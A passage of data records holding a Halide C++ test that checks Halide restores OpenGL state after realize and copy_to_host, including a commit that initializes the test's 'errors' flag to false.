supported\n    const char *parse_int(const char *str, int *val) {\n        int v = 0;\n        size_t i = 0;\n        while (str[i] >= '0' && str[i] <= '9') {\n            v = 10 * v + (str[i] - '0');\n            i++;\n        }\n        if (i > 0) {\n            *val = v;\n            return &str[i];\n        }\n        return NULL;\n    }\n\n    const char *parse_opengl_version(const char *str, int *major, int *minor) {\n        str = parse_int(str, major);\n        if (str == NULL || *str != '.') {\n            return NULL;\n        }\n        return parse_int(str + 1, minor);\n    }\n\n    GLuint initial_vertex_array_binding;\n\n    public:\n\n    bool errors;\n\n\n    \/\/ This sets most values to generated or arbitrary values, which the\n    \/\/ halide calls would be unlikely to accidentally use.  But for boolean\n    \/\/ values, we want to be sure that halide is really restoring the\n    \/\/ initial value, not just setting it to true or false.  So we need to\n    \/\/ be able to try both.\n    void setup(bool boolval)\n    {\n        \/\/ parse the OpenGL version\n        const char *version = (const char *)glGetString(GL_VERSION);\n        parse_opengl_version(version, &gl_major_version, &gl_minor_version);\n\n        glGenTextures(ntextures, initial_bound_textures);\n        for (int i=0; i<ntextures; i++) {\n            glActiveTexture(GL_TEXTURE0 + i);\n            glBindTexture(GL_TEXTURE_2D, initial_bound_textures[i]);\n        }\n        glActiveTexture(initial_active_texture = GL_TEXTURE3);\n\n        for (int i=0; i<nvertex_attribs; i++) {\n            if ( (initial_vertex_attrib_array_enabled[i] = boolval ) )\n                glEnableVertexAttribArray(i);\n            else\n                glDisableVertexAttribArray(i);\n            char buf[256];\n            sprintf(buf, \"vertex attrib array %d state\", i);\n            check_error(buf);\n        }\n\n        glUseProgram(initial_current_program = Program::handle());\n        glViewport(initial_viewport[0] = 111, initial_viewport[1] = 222, initial_viewport[2] = 333, initial_viewport[3] = 444);\n        gl_enable(GL_CULL_FACE, initial_cull_face = boolval);\n        gl_enable(GL_DEPTH_TEST, initial_depth_test = boolval);\n        glBindBuffer(GL_ARRAY_BUFFER, initial_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, initial_element_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindFramebuffer(GL_FRAMEBUFFER, initial_framebuffer_binding = gl_gen(glGenFramebuffers));\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            glBindVertexArray(initial_vertex_array_binding = gl_gen(glGenVertexArrays));\n            check_error(\"known state\");\n        }\n    }\n\n    void check(const char *operation)\n    {\n        check_value(operation, \"ActiveTexture\", GL_ACTIVE_TEXTURE, initial_active_texture);\n        check_value(operation, \"current program\", GL_CURRENT_PROGRAM, initial_current_program);\n        check_value(operation, \"framebuffer binding\", GL_FRAMEBUFFER_BINDING, initial_framebuffer_binding);\n        check_value(operation, \"array buffer binding\", GL_ARRAY_BUFFER_BINDING, initial_array_buffer_binding);\n        check_value(operation, \"element array buffer binding\", GL_ELEMENT_ARRAY_BUFFER_BINDING, initial_element_array_buffer_binding);\n        check_value(operation, \"viewport\", GL_VIEWPORT, initial_viewport);\n        check_value(operation, \"GL_CULL_FACE\", GL_CULL_FACE, initial_cull_face);\n        check_value(operation, \"GL_DEPTH_TEST\", GL_DEPTH_TEST, initial_cull_face);\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            check_value(operation, \"vertex array binding\", GL_VERTEX_ARRAY_BINDING, initial_vertex_array_binding);\n        }\n\n        for (int i=0; i<ntextures; i++) {\n            char buf[100];\n            sprintf(buf, \"bound texture (unit %d)\", i);\n            glActiveTexture(GL_TEXTURE0 + i);\n            check_value(operation, buf, GL_TEXTURE_BINDING_2D, initial_bound_textures[i]);\n        }\n\n        for (int i=0; i < nvertex_attribs; i++) {\n            int initial = initial_vertex_attrib_array_enabled[i];\n            GLint val;\n            glGetVertexAttribiv(i, GL_VERTEX_ATTRIB_ARRAY_ENABLED, &val);\n            if (val != initial) {\n                fprintf(stderr, \"%s did not restore boolean VertexAttributeArrayEnabled(%d): initial value was %s, current value is %s\\n\", operation, i, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n                errors = true;\n            }\n        }\n    }\n};\n\nusing namespace Halide;\n\nint main() {\n    KnownState known_state;\n\n    Image<uint8_t> input(255, 10, 3);\n    Buffer out(UInt(8), 255, 10, 3);\n\n    Var x, y, c;\n    Func g;\n    g(x, y, c) = input(x, y, c);\n    g.bound(c, 0, 3);\n    g.glsl(x, y, c);\n    g.realize(out); \/\/ let Halide initialize OpenGL\n\n    known_state.setup(true);\n    g.realize(out);\n    known_state.check(\"realize\");\n\n    known_state.setup(true);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    known_state.setup(false);\n    g.realize(out);\n    known_state.check(\"realize\");\n\n    known_state.setup(false);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    if (known_state.errors) {\n\treturn 1;\n    }\n\n    printf(\"Success!\\n\");\n    return 0;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Test doesn't build on windows, because OpenGL on windows is a nightmare.\n#ifdef _WIN32\n#include <stdio.h>\nint main() {\n    printf(\"Skipping test on Windows\\n\");\n    return 0;\n}\n#else\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <cstring>\n#include \"..\/src\/runtime\/mini_opengl.h\"\n#include \"Halide.h\"\n\nextern \"C\" void glGenTextures(GLsizei, GLuint *);\nextern \"C\" void glTexParameteri(GLenum, GLenum, GLint);\nextern \"C\" void glBindTexture(GLenum, GLuint);\nextern \"C\" void glTexImage2D(GLenum, GLint, GLint, GLsizei, GLsizei, GLint, GLenum, GLenum, const GLvoid *);\nextern \"C\" GLuint glCreateProgram();\nextern \"C\" void glAttachShader(GLuint, GLuint);\nextern \"C\" void glLinkProgram(GLuint);\nextern \"C\" void glGetProgramiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetProgramInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" GLuint glCreateShader(GLenum);\nextern \"C\" void glShaderSource(GLuint, GLsizei, const GLchar **, const GLint *);\nextern \"C\" void glCompileShader(GLuint);\nextern \"C\" void glGetShaderiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetShaderInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" void glEnable(GLenum);\nextern \"C\" void glDisable(GLenum);\nextern \"C\" void glGetIntegerv(GLenum, GLint *);\nextern \"C\" void glGetBooleanv(GLenum, GLboolean *);\nextern \"C\" GLenum glGetError();\nextern \"C\" void glActiveTexture(GLenum);\nextern \"C\" void glEnableVertexAttribArray(GLuint);\nextern \"C\" void glDisableVertexAttribArray(GLuint);\nextern \"C\" void glUseProgram(GLuint);\nextern \"C\" void glGenBuffers(GLsizei, GLuint *);\nextern \"C\" void glViewport(GLint, GLint, GLsizei, GLsizei);\nextern \"C\" void glGenFramebuffers(GLsizei, GLuint *);\nextern \"C\" void glBindBuffer(GLenum, GLuint);\nextern \"C\" void glBindFramebuffer(GLenum, GLuint);\nextern \"C\" void glGenVertexArrays(GLsizei, GLuint *);\nextern \"C\" void glBindVertexArray(GLuint);\nextern \"C\" void glGetVertexAttribiv(GLuint, GLenum, GLint *);\nextern \"C\" const GLubyte* glGetString(GLenum name);\n\n\/\/ Generates an arbitrary program.\nclass Program\n{\n    public:\n\n    static GLuint handle()\n    {\n        const char *vertexShader = \" \\\n                                    attribute vec4 Position;  \\\n                                    attribute vec2 TexCoordIn; \\\n                                    varying vec2 TexCoordOut; \\\n                                    void main(void) {  \\\n                                        gl_Position = Position; \\\n                                        TexCoordOut = TexCoordIn; \\\n                                    }\";\n\n        const char *fragmentShader = \" \\\n                                      varying vec2 TexCoordOut; \\\n                                      uniform sampler2D Texture; \\\n                                      void main(void) { \\\n                                          gl_FragColor = texture2D(Texture, TexCoordOut); \\\n                                      }\";\n\n        GLuint handle = glCreateProgram();\n        glAttachShader(handle, compileShader(\"vertex\", vertexShader, GL_VERTEX_SHADER));\n        glAttachShader(handle, compileShader(\"fragment\", fragmentShader, GL_FRAGMENT_SHADER));\n        glLinkProgram(handle);\n\n        GLint linkSuccess;\n        glGetProgramiv(handle, GL_LINK_STATUS, &linkSuccess);\n        if (linkSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetProgramInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error linking program: %s\\n\", messages);\n            exit(1);\n        }\n\n        return handle;\n    }\n\n    private:\n\n    static GLuint compileShader(const char *label, const char *shaderString, GLenum shaderType)\n    {\n        const GLuint handle = glCreateShader(shaderType);\n        const int len = strlen(shaderString);\n        glShaderSource(handle, 1, &shaderString, &len);\n        glCompileShader(handle);\n        GLint compileSuccess;\n        glGetShaderiv(handle, GL_COMPILE_STATUS, &compileSuccess);\n        if (compileSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetShaderInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error compiling %s shader: %s\\n\", label, messages);\n            exit(1);\n        }\n        return handle;\n    }\n};\n\n\n\/\/ Encapsulates setting OpenGL's state to arbitrary values, and checking\n\/\/ whether the state matches those values.\nclass KnownState\n{\n    private:\n\n    void gl_enable(GLenum cap, bool state)\n    {\n        (state ? glEnable : glDisable)(cap);\n    }\n\n    GLuint gl_gen(void (*fn)(GLsizei, GLuint *))\n    {\n        GLuint val;\n        (*fn)(1, &val);\n        return val;\n    }\n\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial)\n    {\n        GLint val;\n        glGetIntegerv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore %s: initial value was %d (%#x), current value is %d (%#x)\\n\", operation, label, initial, initial, val, val);\n            errors = true;\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLenum initial)\n    {\n        check_value(operation, label, pname, (GLint) initial);\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial[], int n=4)\n    {\n        GLint val[2048];\n        glGetIntegerv(pname, val);\n        for (int i=0; i<n; i++) {\n            if (val[i] != initial[i]) {\n                fprintf(stderr, \"%s did not restore %s: initial value was\", operation, label);\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", initial[j]);\n                fprintf(stderr, \", current value is\");\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", val[j]);\n                fprintf(stderr, \"\\n\");\n                errors = true;\n                return;\n            }\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, bool initial)\n    {\n        GLboolean val;\n        glGetBooleanv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore boolean %s: initial value was %s, current value is %s\\n\", operation, label, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n            errors = true;\n        }\n    }\n\n    void check_error(const char *label)\n    {\n        GLenum err = glGetError();\n        if (err != GL_NO_ERROR) {\n            fprintf(stderr, \"Error setting %s: OpenGL error %#x\\n\", label, err);\n            errors = true;\n        }\n    }\n\n    \/\/ version of OpenGL\n    int gl_major_version;\n    int gl_minor_version;\n\n    GLenum initial_active_texture;\n    GLint initial_viewport[4];\n    GLuint initial_array_buffer_binding;\n    GLuint initial_element_array_buffer_binding;\n    GLuint initial_current_program;\n    GLuint initial_framebuffer_binding;\n    static const int ntextures = 10;\n    GLuint initial_bound_textures[ntextures];\n    bool initial_cull_face;\n    bool initial_depth_test;\n\n    static const int nvertex_attribs = 10;\n    bool initial_vertex_attrib_array_enabled[nvertex_attribs];\n\n    \/\/ The next two functions are stolen from opengl.cpp\n    \/\/ and are used to parse the major\/minor version of OpenGL\n    \/\/ to see if vertex array objects are supported\n    const char *parse_int(const char *str, int *val) {\n        int v = 0;\n        size_t i = 0;\n        while (str[i] >= '0' && str[i] <= '9') {\n            v = 10 * v + (str[i] - '0');\n            i++;\n        }\n        if (i > 0) {\n            *val = v;\n            return &str[i];\n        }\n        return NULL;\n    }\n\n    const char *parse_opengl_version(const char *str, int *major, int *minor) {\n        str = parse_int(str, major);\n        if (str == NULL || *str != '.') {\n            return NULL;\n        }\n        return parse_int(str + 1, minor);\n    }\n\n    GLuint initial_vertex_array_binding;\n\n    public:\n\n    bool errors;\n\n\n    \/\/ This sets most values to generated or arbitrary values, which the\n    \/\/ halide calls would be unlikely to accidentally use.  But for boolean\n    \/\/ values, we want to be sure that halide is really restoring the\n    \/\/ initial value, not just setting it to true or false.  So we need to\n    \/\/ be able to try both.\n    void setup(bool boolval)\n    {\n        \/\/ parse the OpenGL version\n        const char *version = (const char *)glGetString(GL_VERSION);\n        parse_opengl_version(version, &gl_major_version, &gl_minor_version);\n\n        glGenTextures(ntextures, initial_bound_textures);\n        for (int i=0; i<ntextures; i++) {\n            glActiveTexture(GL_TEXTURE0 + i);\n            glBindTexture(GL_TEXTURE_2D, initial_bound_textures[i]);\n        }\n        glActiveTexture(initial_active_texture = GL_TEXTURE3);\n\n        for (int i=0; i<nvertex_attribs; i++) {\n            if ( (initial_vertex_attrib_array_enabled[i] = boolval ) )\n                glEnableVertexAttribArray(i);\n            else\n                glDisableVertexAttribArray(i);\n            char buf[256];\n            sprintf(buf, \"vertex attrib array %d state\", i);\n            check_error(buf);\n        }\n\n        glUseProgram(initial_current_program = Program::handle());\n        glViewport(initial_viewport[0] = 111, initial_viewport[1] = 222, initial_viewport[2] = 333, initial_viewport[3] = 444);\n        gl_enable(GL_CULL_FACE, initial_cull_face = boolval);\n        gl_enable(GL_DEPTH_TEST, initial_depth_test = boolval);\n        glBindBuffer(GL_ARRAY_BUFFER, initial_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, initial_element_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindFramebuffer(GL_FRAMEBUFFER, initial_framebuffer_binding = gl_gen(glGenFramebuffers));\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            glBindVertexArray(initial_vertex_array_binding = gl_gen(glGenVertexArrays));\n        }\n\n        check_error(\"known state\");\n    }\n\n    void check(const char *operation)\n    {\n        check_value(operation, \"ActiveTexture\", GL_ACTIVE_TEXTURE, initial_active_texture);\n        check_value(operation, \"current program\", GL_CURRENT_PROGRAM, initial_current_program);\n        check_value(operation, \"framebuffer binding\", GL_FRAMEBUFFER_BINDING, initial_framebuffer_binding);\n        check_value(operation, \"array buffer binding\", GL_ARRAY_BUFFER_BINDING, initial_array_buffer_binding);\n        check_value(operation, \"element array buffer binding\", GL_ELEMENT_ARRAY_BUFFER_BINDING, initial_element_array_buffer_binding);\n        check_value(operation, \"viewport\", GL_VIEWPORT, initial_viewport);\n        check_value(operation, \"GL_CULL_FACE\", GL_CULL_FACE, initial_cull_face);\n        check_value(operation, \"GL_DEPTH_TEST\", GL_DEPTH_TEST, initial_cull_face);\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            check_value(operation, \"vertex array binding\", GL_VERTEX_ARRAY_BINDING, initial_vertex_array_binding);\n        } else {\n            fprintf(stderr, \"Skipping vertex array binding tests because OpenGL version is %d.%d (<3.0)\\n\", gl_major_version, gl_minor_version);\n        }\n\n        for (int i=0; i<ntextures; i++) {\n            char buf[100];\n            sprintf(buf, \"bound texture (unit %d)\", i);\n            glActiveTexture(GL_TEXTURE0 + i);\n            check_value(operation, buf, GL_TEXTURE_BINDING_2D, initial_bound_textures[i]);\n        }\n\n        for (int i=0; i < nvertex_attribs; i++) {\n            int initial = initial_vertex_attrib_array_enabled[i];\n            GLint val;\n            glGetVertexAttribiv(i, GL_VERTEX_ATTRIB_ARRAY_ENABLED, &val);\n            if (val != initial) {\n                fprintf(stderr, \"%s did not restore boolean VertexAttributeArrayEnabled(%d): initial value was %s, current value is %s\\n\", operation, i, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n                errors = true;\n            }\n        }\n    }\n};\n\nusing namespace Halide;\n\nint main() {\n    \/\/ This test must be run with an OpenGL target.\n    const Target target = get_jit_target_from_environment().with_feature(Target::OpenGL);\n\n    KnownState known_state;\n\n    Image<uint8_t> input(255, 10, 3);\n    Image<uint8_t> out(UInt(8), 255, 10, 3);\n\n    Var x, y, c;\n    Func g;\n    g(x, y, c) = input(x, y, c);\n    g.bound(c, 0, 3);\n    g.glsl(x, y, c);\n    g.realize(out, target); \/\/ let Halide initialize OpenGL\n\n    known_state.setup(true);\n    g.realize(out, target);\n    known_state.check(\"realize\");\n\n    known_state.setup(true);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    known_state.setup(false);\n    g.realize(out, target);\n    known_state.check(\"realize\");\n\n    known_state.setup(false);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    if (known_state.errors) {\n\treturn 1;\n    }\n\n    printf(\"Success!\\n\");\n    return 0;\n}\n\n#endif\n<commit_msg>Initialize 'errors' field in save_state test<commit_after>\/\/ Test doesn't build on windows, because OpenGL on windows is a nightmare.\n#ifdef _WIN32\n#include <stdio.h>\nint main() {\n    printf(\"Skipping test on Windows\\n\");\n    return 0;\n}\n#else\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <cstring>\n#include \"..\/src\/runtime\/mini_opengl.h\"\n#include \"Halide.h\"\n\nextern \"C\" void glGenTextures(GLsizei, GLuint *);\nextern \"C\" void glTexParameteri(GLenum, GLenum, GLint);\nextern \"C\" void glBindTexture(GLenum, GLuint);\nextern \"C\" void glTexImage2D(GLenum, GLint, GLint, GLsizei, GLsizei, GLint, GLenum, GLenum, const GLvoid *);\nextern \"C\" GLuint glCreateProgram();\nextern \"C\" void glAttachShader(GLuint, GLuint);\nextern \"C\" void glLinkProgram(GLuint);\nextern \"C\" void glGetProgramiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetProgramInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" GLuint glCreateShader(GLenum);\nextern \"C\" void glShaderSource(GLuint, GLsizei, const GLchar **, const GLint *);\nextern \"C\" void glCompileShader(GLuint);\nextern \"C\" void glGetShaderiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetShaderInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" void glEnable(GLenum);\nextern \"C\" void glDisable(GLenum);\nextern \"C\" void glGetIntegerv(GLenum, GLint *);\nextern \"C\" void glGetBooleanv(GLenum, GLboolean *);\nextern \"C\" GLenum glGetError();\nextern \"C\" void glActiveTexture(GLenum);\nextern \"C\" void glEnableVertexAttribArray(GLuint);\nextern \"C\" void glDisableVertexAttribArray(GLuint);\nextern \"C\" void glUseProgram(GLuint);\nextern \"C\" void glGenBuffers(GLsizei, GLuint *);\nextern \"C\" void glViewport(GLint, GLint, GLsizei, GLsizei);\nextern \"C\" void glGenFramebuffers(GLsizei, GLuint *);\nextern \"C\" void glBindBuffer(GLenum, GLuint);\nextern \"C\" void glBindFramebuffer(GLenum, GLuint);\nextern \"C\" void glGenVertexArrays(GLsizei, GLuint *);\nextern \"C\" void glBindVertexArray(GLuint);\nextern \"C\" void glGetVertexAttribiv(GLuint, GLenum, GLint *);\nextern \"C\" const GLubyte* glGetString(GLenum name);\n\n\/\/ Generates an arbitrary program.\nclass Program\n{\n    public:\n\n    static GLuint handle()\n    {\n        const char *vertexShader = \" \\\n                                    attribute vec4 Position;  \\\n                                    attribute vec2 TexCoordIn; \\\n                                    varying vec2 TexCoordOut; \\\n                                    void main(void) {  \\\n                                        gl_Position = Position; \\\n                                        TexCoordOut = TexCoordIn; \\\n                                    }\";\n\n        const char *fragmentShader = \" \\\n                                      varying vec2 TexCoordOut; \\\n                                      uniform sampler2D Texture; \\\n                                      void main(void) { \\\n                                          gl_FragColor = texture2D(Texture, TexCoordOut); \\\n                                      }\";\n\n        GLuint handle = glCreateProgram();\n        glAttachShader(handle, compileShader(\"vertex\", vertexShader, GL_VERTEX_SHADER));\n        glAttachShader(handle, compileShader(\"fragment\", fragmentShader, GL_FRAGMENT_SHADER));\n        glLinkProgram(handle);\n\n        GLint linkSuccess;\n        glGetProgramiv(handle, GL_LINK_STATUS, &linkSuccess);\n        if (linkSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetProgramInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error linking program: %s\\n\", messages);\n            exit(1);\n        }\n\n        return handle;\n    }\n\n    private:\n\n    static GLuint compileShader(const char *label, const char *shaderString, GLenum shaderType)\n    {\n        const GLuint handle = glCreateShader(shaderType);\n        const int len = strlen(shaderString);\n        glShaderSource(handle, 1, &shaderString, &len);\n        glCompileShader(handle);\n        GLint compileSuccess;\n        glGetShaderiv(handle, GL_COMPILE_STATUS, &compileSuccess);\n        if (compileSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetShaderInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error compiling %s shader: %s\\n\", label, messages);\n            exit(1);\n        }\n        return handle;\n    }\n};\n\n\n\/\/ Encapsulates setting OpenGL's state to arbitrary values, and checking\n\/\/ whether the state matches those values.\nclass KnownState\n{\n    private:\n\n    void gl_enable(GLenum cap, bool state)\n    {\n        (state ? glEnable : glDisable)(cap);\n    }\n\n    GLuint gl_gen(void (*fn)(GLsizei, GLuint *))\n    {\n        GLuint val;\n        (*fn)(1, &val);\n        return val;\n    }\n\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial)\n    {\n        GLint val;\n        glGetIntegerv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore %s: initial value was %d (%#x), current value is %d (%#x)\\n\", operation, label, initial, initial, val, val);\n            errors = true;\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLenum initial)\n    {\n        check_value(operation, label, pname, (GLint) initial);\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial[], int n=4)\n    {\n        GLint val[2048];\n        glGetIntegerv(pname, val);\n        for (int i=0; i<n; i++) {\n            if (val[i] != initial[i]) {\n                fprintf(stderr, \"%s did not restore %s: initial value was\", operation, label);\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", initial[j]);\n                fprintf(stderr, \", current value is\");\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", val[j]);\n                fprintf(stderr, \"\\n\");\n                errors = true;\n                return;\n            }\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, bool initial)\n    {\n        GLboolean val;\n        glGetBooleanv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore boolean %s: initial value was %s, current value is %s\\n\", operation, label, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n            errors = true;\n        }\n    }\n\n    void check_error(const char *label)\n    {\n        GLenum err = glGetError();\n        if (err != GL_NO_ERROR) {\n            fprintf(stderr, \"Error setting %s: OpenGL error %#x\\n\", label, err);\n            errors = true;\n        }\n    }\n\n    \/\/ version of OpenGL\n    int gl_major_version;\n    int gl_minor_version;\n\n    GLenum initial_active_texture;\n    GLint initial_viewport[4];\n    GLuint initial_array_buffer_binding;\n    GLuint initial_element_array_buffer_binding;\n    GLuint initial_current_program;\n    GLuint initial_framebuffer_binding;\n    static const int ntextures = 10;\n    GLuint initial_bound_textures[ntextures];\n    bool initial_cull_face;\n    bool initial_depth_test;\n\n    static const int nvertex_attribs = 10;\n    bool initial_vertex_attrib_array_enabled[nvertex_attribs];\n\n    \/\/ The next two functions are stolen from opengl.cpp\n    \/\/ and are used to parse the major\/minor version of OpenGL\n    \/\/ to see if vertex array objects are supported\n    const char *parse_int(const char *str, int *val) {\n        int v = 0;\n        size_t i = 0;\n        while (str[i] >= '0' && str[i] <= '9') {\n            v = 10 * v + (str[i] - '0');\n            i++;\n        }\n        if (i > 0) {\n            *val = v;\n            return &str[i];\n        }\n        return NULL;\n    }\n\n    const char *parse_opengl_version(const char *str, int *major, int *minor) {\n        str = parse_int(str, major);\n        if (str == NULL || *str != '.') {\n            return NULL;\n        }\n        return parse_int(str + 1, minor);\n    }\n\n    GLuint initial_vertex_array_binding;\n\n    public:\n\n    bool errors{false};\n\n\n    \/\/ This sets most values to generated or arbitrary values, which the\n    \/\/ halide calls would be unlikely to accidentally use.  But for boolean\n    \/\/ values, we want to be sure that halide is really restoring the\n    \/\/ initial value, not just setting it to true or false.  So we need to\n    \/\/ be able to try both.\n    void setup(bool boolval)\n    {\n        \/\/ parse the OpenGL version\n        const char *version = (const char *)glGetString(GL_VERSION);\n        parse_opengl_version(version, &gl_major_version, &gl_minor_version);\n\n        glGenTextures(ntextures, initial_bound_textures);\n        for (int i=0; i<ntextures; i++) {\n            glActiveTexture(GL_TEXTURE0 + i);\n            glBindTexture(GL_TEXTURE_2D, initial_bound_textures[i]);\n        }\n        glActiveTexture(initial_active_texture = GL_TEXTURE3);\n\n        for (int i=0; i<nvertex_attribs; i++) {\n            if ( (initial_vertex_attrib_array_enabled[i] = boolval ) )\n                glEnableVertexAttribArray(i);\n            else\n                glDisableVertexAttribArray(i);\n            char buf[256];\n            sprintf(buf, \"vertex attrib array %d state\", i);\n            check_error(buf);\n        }\n\n        glUseProgram(initial_current_program = Program::handle());\n        glViewport(initial_viewport[0] = 111, initial_viewport[1] = 222, initial_viewport[2] = 333, initial_viewport[3] = 444);\n        gl_enable(GL_CULL_FACE, initial_cull_face = boolval);\n        gl_enable(GL_DEPTH_TEST, initial_depth_test = boolval);\n        glBindBuffer(GL_ARRAY_BUFFER, initial_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, initial_element_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindFramebuffer(GL_FRAMEBUFFER, initial_framebuffer_binding = gl_gen(glGenFramebuffers));\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            glBindVertexArray(initial_vertex_array_binding = gl_gen(glGenVertexArrays));\n        }\n\n        check_error(\"known state\");\n    }\n\n    void check(const char *operation)\n    {\n        check_value(operation, \"ActiveTexture\", GL_ACTIVE_TEXTURE, initial_active_texture);\n        check_value(operation, \"current program\", GL_CURRENT_PROGRAM, initial_current_program);\n        check_value(operation, \"framebuffer binding\", GL_FRAMEBUFFER_BINDING, initial_framebuffer_binding);\n        check_value(operation, \"array buffer binding\", GL_ARRAY_BUFFER_BINDING, initial_array_buffer_binding);\n        check_value(operation, \"element array buffer binding\", GL_ELEMENT_ARRAY_BUFFER_BINDING, initial_element_array_buffer_binding);\n        check_value(operation, \"viewport\", GL_VIEWPORT, initial_viewport);\n        check_value(operation, \"GL_CULL_FACE\", GL_CULL_FACE, initial_cull_face);\n        check_value(operation, \"GL_DEPTH_TEST\", GL_DEPTH_TEST, initial_cull_face);\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            check_value(operation, \"vertex array binding\", GL_VERTEX_ARRAY_BINDING, initial_vertex_array_binding);\n        } else {\n            fprintf(stderr, \"Skipping vertex array binding tests because OpenGL version is %d.%d (<3.0)\\n\", gl_major_version, gl_minor_version);\n        }\n\n        for (int i=0; i<ntextures; i++) {\n            char buf[100];\n            sprintf(buf, \"bound texture (unit %d)\", i);\n            glActiveTexture(GL_TEXTURE0 + i);\n            check_value(operation, buf, GL_TEXTURE_BINDING_2D, initial_bound_textures[i]);\n        }\n\n        for (int i=0; i < nvertex_attribs; i++) {\n            int initial = initial_vertex_attrib_array_enabled[i];\n            GLint val;\n            glGetVertexAttribiv(i, GL_VERTEX_ATTRIB_ARRAY_ENABLED, &val);\n            if (val != initial) {\n                fprintf(stderr, \"%s did not restore boolean VertexAttributeArrayEnabled(%d): initial value was %s, current value is %s\\n\", operation, i, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n                errors = true;\n            }\n        }\n    }\n};\n\nusing namespace Halide;\n\nint main() {\n    \/\/ This test must be run with an OpenGL target.\n    const Target target = get_jit_target_from_environment().with_feature(Target::OpenGL);\n\n    KnownState known_state;\n\n    Image<uint8_t> input(255, 10, 3);\n    Image<uint8_t> out(UInt(8), 255, 10, 3);\n\n    Var x, y, c;\n    Func g;\n    g(x, y, c) = input(x, y, c);\n    g.bound(c, 0, 3);\n    g.glsl(x, y, c);\n    g.realize(out, target); \/\/ let Halide initialize OpenGL\n\n    known_state.setup(true);\n    g.realize(out, target);\n    known_state.check(\"realize\");\n\n    known_state.setup(true);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    known_state.setup(false);\n    g.realize(out, target);\n    known_state.check(\"realize\");\n\n    known_state.setup(false);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    if (known_state.errors) {\n\treturn 1;\n    }\n\n    printf(\"Success!\\n\");\n    return 0;\n}\n\n#endif\n<|endoftext|>"}
